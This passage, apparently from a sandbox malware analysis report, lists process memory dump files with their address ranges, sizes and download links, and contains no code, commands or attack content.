                                  • memory/4488-141-0x0000000000400000-0x0000000000EA5000-memory.dmp

                                    Filesize

                                    10.6MB

                                    Download

                                  • memory/4488-133-0x0000000000400000-0x0000000000EA5000-memory.dmp

                                    Filesize

                                    10.6MB

                                    Download

                                  • memory/4892-331-0x00000000005B0000-0x00000000005F6000-memory.dmp

                                    Filesize

                                    280KB

                                    Download

                                  • memory/4892-334-0x0000000002220000-0x0000000002286000-memory.dmp

                                    Filesize

                                    408KB

                                    Download

                                  • memory/4892-333-0x0000000000650000-0x0000000000653000-memory.dmp

                                    Filesize

                                    12KB

                                    Download

                                  • memory/4992-246-0x0000000000400000-0x0000000000466000-memory.dmp

                                    Filesize

                                    408KB

                                    Download

                                  • memory/4992-245-0x0000000000400000-0x0000000000466000-memory.dmp

                                    Filesize

                                    408KB

                                    Download

                                  • memory/5072-296-0x0000000000290000-0x000000000073D000-memory.dmp

                                    Filesize

                                    4.7MB

                                    Download

                                  • memory/5072-298-0x0000000000290000-0x000000000073D000-memory.dmp

                                    Filesize

                                    4.7MB

                                    Download

                                  • memory/5280-306-0x00000000007F0000-0x00000000008CD000-memory.dmp

                                    Filesize

                                    884KB

                                    Download

                                  • memory/5280-259-0x00000000007F0000-0x00000000008CD000-memory.dmp

                                    Filesize

                                    884KB

                                    Download

                                  • memory/5280-214-0x00000000007F0000-0x00000000008CD000-memory.dmp

                                    Filesize

                                    884KB

                                    Download

                                  • memory/5280-68-0x0000000000950000-0x0000000000C68000-memory.dmp

                                    Filesize

                                    3.1MB

                                    Download

                                  • memory/5280-67-0x0000000000950000-0x0000000000C68000-memory.dmp

                                    Filesize

                                    3.1MB

                                    Download

                                  • memory/5552-321-0x00007FF6F6890000-0x00007FF6F6F37000-memory.dmp

                                    Filesize

                                    6.7MB

                                    Download

                                  • memory/5552-324-0x00007FF6F6890000-0x00007FF6F6F37000-memory.dmp

                                    Filesize

                                    6.7MB

                                    Download

                                  • memory/5684-85-0x0000000000400000-0x0000000000468000-memory.dmp

                                    Filesize

                                    416KB

                                    Download

                                  • memory/5684-84-0x0000000000400000-0x0000000000468000-memory.dmp

                                    Filesize

                                    416KB

                                    Download